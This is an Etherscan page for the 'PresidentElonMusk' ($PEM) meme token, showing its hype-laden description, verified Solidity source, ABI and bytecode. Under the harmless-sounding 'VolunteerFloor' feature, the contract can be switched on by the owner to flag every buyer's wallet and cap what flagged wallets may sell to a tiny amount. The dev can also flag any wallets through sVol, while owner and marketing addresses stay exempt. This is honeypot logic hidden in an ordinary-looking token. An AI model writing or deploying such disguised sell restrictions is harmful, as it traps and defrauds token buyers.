ERC-20
Overview
Max Total Supply
1,000,000,000,000 $PEM
Holders
67
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,401,389,761.61900963 $PEMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PRESIDENTELONMUSK
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-11-12 */ /* PRESIDENTELONMUSK ($PEM) PRESIDENTELONMUSK ($PEM) is a meme token entertaining the idea of Elon Musk becoming president. Ride the wave! This topic is highly hyped and currently trending, we will moon LIKE CRAZY. TG : https://t.me/PresidentElonETH Twitter : https://twitter.com/PresElonETH Web : https://presidentelon.org */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address public _marketing; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; _marketing = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyDev() { require(_marketing == _msgSender() || _owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PRESIDENTELONMUSK is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PresidentElonMusk"; string private constant _symbol = "$PEM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 4; bool public VolunteerFloorLiquidity = false; bool public VolunteerFloorMode = false; address private _uniswapWallet = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping (address => bool) public VolunteerFloorWallet; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address payable public _developmentAddress = payable(msg.sender); address payable public _marketingAddress = payable(msg.sender); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal.mul(29).div(1000); uint256 public _VolunteerFloorSize = _tTotal.mul(1000).div(1000_000_000); uint256 public _swapTokensAtAmount = 50000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } if(VolunteerFloorMode) { if(VolunteerFloorWallet[from]) { require(amount <= _VolunteerFloorSize, "TOKEN: VolunteerFloor Vest"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } if(VolunteerFloorLiquidity && (to != uniswapV2Pair && to != _uniswapWallet) && from != owner() && to != owner()) { VolunteerFloorWallet[to] = true; } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function setCommunityTax() public onlyOwner { _redisFeeOnBuy = 0; _redisFeeOnSell = 0; _taxFeeOnBuy = 0; _taxFeeOnSell = 0; } function setVolunteerFloor() external onlyOwner { VolunteerFloorLiquidity = true; VolunteerFloorMode = true; } function stopVolunteerFloor() external onlyDev { VolunteerFloorLiquidity = false; } function sVol(address[] calldata accounts, bool excluded) public onlyDev { for(uint256 i = 0; i < accounts.length; i++) { VolunteerFloorWallet[accounts[i]] = excluded; } } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxWalletSize(uint256 maxWalletSize) public onlyDev { _maxWalletSize = maxWalletSize; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VolunteerFloorLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VolunteerFloorMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"VolunteerFloorWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_VolunteerFloorSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"sVol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCommunityTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setVolunteerFloor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stopVolunteerFloor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001b683635c9adc5dea0000060001962000522565b62000029906000196200054f565b600755600060098190556004600a819055600b829055600c819055600d80546001600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d0000179055600f829055601081905560119190915560125560138054336001600160a01b0319918216811790925560148054909116909117905560168054600160a81b61ffff60a01b19909116179055683635c9adc5dea000006017819055620000fc906103e890620000e890601d620003ef602090811b62000b3217901c565b6200048660201b62000bbb1790919060201c565b6018556200012d633b9aca00620000e86103e8683635c9adc5dea00000620003ef60201b62000b321790919060201c565b601955652d79883d2000601a553480156200014757600080fd5b5060008054336001600160a01b031991821681178355600180549092168117909155604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526003602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000238919062000565565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac919062000565565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000320919062000565565b601680546001600160a01b0319166001600160a01b03928316179055600080548216815260066020526040808220805460ff1990811660019081179092553084528284208054821683179055601354851684528284208054821683179055601454909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef683635c9adc5dea00000604051620003e091815260200190565b60405180910390a35062000611565b600082600003620004035750600062000480565b600062000411838562000590565b905082620004208583620005aa565b146200047d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200047d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004d060201b60201c565b60008183620004f45760405162461bcd60e51b8152600401620004749190620005c1565b506000620005038486620005aa565b95945050505050565b634e487b7160e01b600052601260045260246000fd5b6000826200053457620005346200050c565b500690565b634e487b7160e01b600052601160045260246000fd5b8181038181111562000480576200048062000539565b6000602082840312156200057857600080fd5b81516001600160a01b03811681146200047d57600080fd5b808202811582820484141762000480576200048062000539565b600082620005bc57620005bc6200050c565b500490565b600060208083528351808285015260005b81811015620005f057858101830151858201604001528201620005d2565b506000604082860101526040601f19601f8301168501019250505092915050565b611c1a80620006216000396000f3fe6080604052600436106101f25760003560e01c80638da5cb5b1161010d578063c3c8cd80116100a0578063dd62ed3e1161006f578063dd62ed3e14610595578063ea1644d5146105db578063eeac652a146105fb578063f2fde38b14610611578063f77d1bd81461063157600080fd5b8063c3c8cd8014610527578063caac79341461053c578063cf2ab50b1461055c578063dc51c14c1461057657600080fd5b806398a5c315116100dc57806398a5c315146104bd578063a9059cbb146104dd578063b850c0c1146104fd578063b870768a1461051257600080fd5b80638da5cb5b1461042c5780638f87b66a1461044a5780638f9a55c01461047a57806395d89b411461049057600080fd5b80634565d6f5116101855780636fc3eaec116101545780636fc3eaec146103cc57806370a08231146103e1578063715018a6146104015780637d1db4a51461041657600080fd5b80634565d6f51461034a57806349bd5a5e1461036c57806362940cc41461038c5780636d8aa8f8146103ac57600080fd5b806323b872dd116101c157806323b872dd146102d85780632fd689e3146102f8578063313ce5671461030e5780633d6a9afe1461032a57600080fd5b806306fdde03146101fe578063095ea7b31461024a5780631694505e1461027a57806318160ddd146102b257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082019091526011815270507265736964656e74456c6f6e4d75736b60781b60208201525b6040516102419190611862565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046118c5565b610646565b6040519015158152602001610241565b34801561028657600080fd5b5060155461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50683635c9adc5dea000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f33660046118f1565b61065d565b34801561030457600080fd5b506102ca601a5481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060135461029a906001600160a01b031681565b34801561035657600080fd5b5061036a610365366004611947565b6106c6565b005b34801561037857600080fd5b5060165461029a906001600160a01b031681565b34801561039857600080fd5b5060015461029a906001600160a01b031681565b3480156103b857600080fd5b5061036a6103c73660046119cb565b610785565b3480156103d857600080fd5b5061036a6107cd565b3480156103ed57600080fd5b506102ca6103fc3660046119e6565b610818565b34801561040d57600080fd5b5061036a61083a565b34801561042257600080fd5b506102ca60175481565b34801561043857600080fd5b506000546001600160a01b031661029a565b34801561045657600080fd5b5061026a6104653660046119e6565b600e6020526000908152604090205460ff1681565b34801561048657600080fd5b506102ca60185481565b34801561049c57600080fd5b506040805180820190915260048152632450454d60e01b6020820152610234565b3480156104c957600080fd5b5061036a6104d8366004611a03565b6108ae565b3480156104e957600080fd5b5061026a6104f83660046118c5565b6108dd565b34801561050957600080fd5b5061036a6108ea565b34801561051e57600080fd5b5061036a61092a565b34801561053357600080fd5b5061036a610965565b34801561054857600080fd5b5060145461029a906001600160a01b031681565b34801561056857600080fd5b50600d5461026a9060ff1681565b34801561058257600080fd5b50600d5461026a90610100900460ff1681565b3480156105a157600080fd5b506102ca6105b0366004611a1c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105e757600080fd5b5061036a6105f6366004611a03565b6109b9565b34801561060757600080fd5b506102ca60195481565b34801561061d57600080fd5b5061036a61062c3660046119e6565b6109fd565b34801561063d57600080fd5b5061036a610ae7565b6000610653338484610bfd565b5060015b92915050565b600061066a848484610d21565b6106bc84336106b785604051806060016040528060288152602001611bbd602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906111fc565b610bfd565b5060019392505050565b6001546001600160a01b03163314806106e957506000546001600160a01b031633145b61070e5760405162461bcd60e51b815260040161070590611a55565b60405180910390fd5b60005b8281101561077f5781600e600086868581811061073057610730611a8a565b905060200201602081019061074591906119e6565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061077781611ab6565b915050610711565b50505050565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161070590611a55565b60168054911515600160a81b0260ff60a81b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061080257506014546001600160a01b0316336001600160a01b0316145b61080b57600080fd5b4761081581611236565b50565b6001600160a01b03811660009081526003602052604081205461065790611274565b6000546001600160a01b031633146108645760405162461bcd60e51b815260040161070590611a55565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260040161070590611a55565b601a55565b6000610653338484610d21565b6000546001600160a01b031633146109145760405162461bcd60e51b815260040161070590611a55565b60006009819055600b819055600a819055600c55565b6000546001600160a01b031633146109545760405162461bcd60e51b815260040161070590611a55565b600d805461ffff1916610101179055565b6013546001600160a01b0316336001600160a01b0316148061099a57506014546001600160a01b0316336001600160a01b0316145b6109a357600080fd5b60006109ae30610818565b9050610815816112f1565b6001546001600160a01b03163314806109dc57506000546001600160a01b031633145b6109f85760405162461bcd60e51b815260040161070590611a55565b601855565b6000546001600160a01b03163314610a275760405162461bcd60e51b815260040161070590611a55565b6001600160a01b038116610a8c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610705565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331480610b0a57506000546001600160a01b031633145b610b265760405162461bcd60e51b815260040161070590611a55565b600d805460ff19169055565b600082600003610b4457506000610657565b6000610b508385611acf565b905082610b5d8583611ae6565b14610bb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610705565b9392505050565b6000610bb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146b565b6001600160a01b038316610c5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b038216610cc05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b038216610de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b60008111610e495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610705565b6000546001600160a01b03848116911614801590610e7557506000546001600160a01b03838116911614155b156110f5576016546001600160a01b03838116911614610eff5760185481610e9c84610818565b610ea69190611b08565b10610eff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610705565b600d54610100900460ff1615610f82576001600160a01b0383166000908152600e602052604090205460ff1615610f8257601954811115610f825760405162461bcd60e51b815260206004820152601a60248201527f544f4b454e3a20566f6c756e74656572466c6f6f7220566573740000000000006044820152606401610705565b6000610f8d30610818565b601a54601754919250821015908210610fa65760175491505b808015610fbd5750601654600160a01b900460ff16155b8015610fd757506016546001600160a01b03868116911614155b8015610fec5750601654600160a81b900460ff165b801561101157506001600160a01b03851660009081526006602052604090205460ff16155b801561103657506001600160a01b03841660009081526006602052604090205460ff16155b1561105657611044826112f1565b4780156110545761105447611236565b505b600d5460ff16801561109557506016546001600160a01b038581169116148015906110955750600d546001600160a01b03858116620100009092041614155b80156110af57506000546001600160a01b03868116911614155b80156110c957506000546001600160a01b03858116911614155b156110f2576001600160a01b0384166000908152600e60205260409020805460ff191660011790555b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061113757506001600160a01b03831660009081526006602052604090205460ff165b8061116957506016546001600160a01b0385811691161480159061116957506016546001600160a01b03848116911614155b15611176575060006111f0565b6016546001600160a01b0385811691161480156111a157506015546001600160a01b03848116911614155b156111b357600954600f55600a546010555b6016546001600160a01b0384811691161480156111de57506015546001600160a01b03858116911614155b156111f057600b54600f55600c546010555b61077f84848484611499565b600081848411156112205760405162461bcd60e51b81526004016107059190611862565b50600061122d8486611b1b565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611270573d6000803e3d6000fd5b5050565b60006007548211156112db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610705565b60006112e56114c7565b9050610bb48382610bbb565b6016805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611a8a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611b2e565b816001815181106113c9576113c9611a8a565b6001600160a01b0392831660209182029290920101526015546113ef9130911684610bfd565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611b4b565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506016805460ff60a01b1916905550505050565b